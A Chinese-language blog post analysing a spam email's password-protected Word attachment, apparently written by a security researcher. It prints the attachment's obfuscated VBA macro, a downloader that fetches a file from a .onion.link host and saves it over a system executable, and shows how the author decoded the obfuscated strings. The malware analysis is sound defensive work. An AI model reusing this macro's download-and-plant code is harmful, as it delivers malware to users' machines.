上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。

  • 环境:ubuntu 16.04
  • office软件: LibreOffice writer

1. FBI Warning

分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行

2. 邮件截图

一次垃圾邮件的分析

3. 邮件分析

可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。

  • doc附件有密码,且密码为1115

4. 附件分析

一般分析方法

  • 4.1 一般来说,非打开方式去分析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。
  • 4.2 olevba 提取宏展示

    olevba -c xxx.doc
    • -c: 只显示word中的宏代码
    • -a: 自动分析word是否可疑
      一次垃圾邮件的分析

加了密码后,就不能用一般的分析方法

  • 4.3 尝试是用olevba来提取文档的vba代码
    一次垃圾邮件的分析
  • 4.4 关闭宏自动运行的前提下,打开word附件。
    • 4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。
      提示输入文档密码
    • 4.4.2 打开后,提示word文档包含宏
      一次垃圾邮件的分析
    • 4.4.3 诱惑用户启用宏
      一次垃圾邮件的分析
  • 4.5 查看宏代码
    可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
    恶意宏代码

  • 4.6 宏代码分析
  • Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send

如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
一次垃圾邮件的分析

  • Step2. 一个简单的混淆,拼凑出
    Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

    其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。

first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
    first_s = s.replace("ChrW","chr")
    second_s = first_s.replace("&","+")
    return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))

最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
last5的值

  • Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件

    xyuhjnx = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
    oStream.Close
    End If
    End Sub

    代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。

  • 4.7 到此,我们分析完整个宏代码
    总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。

参考链接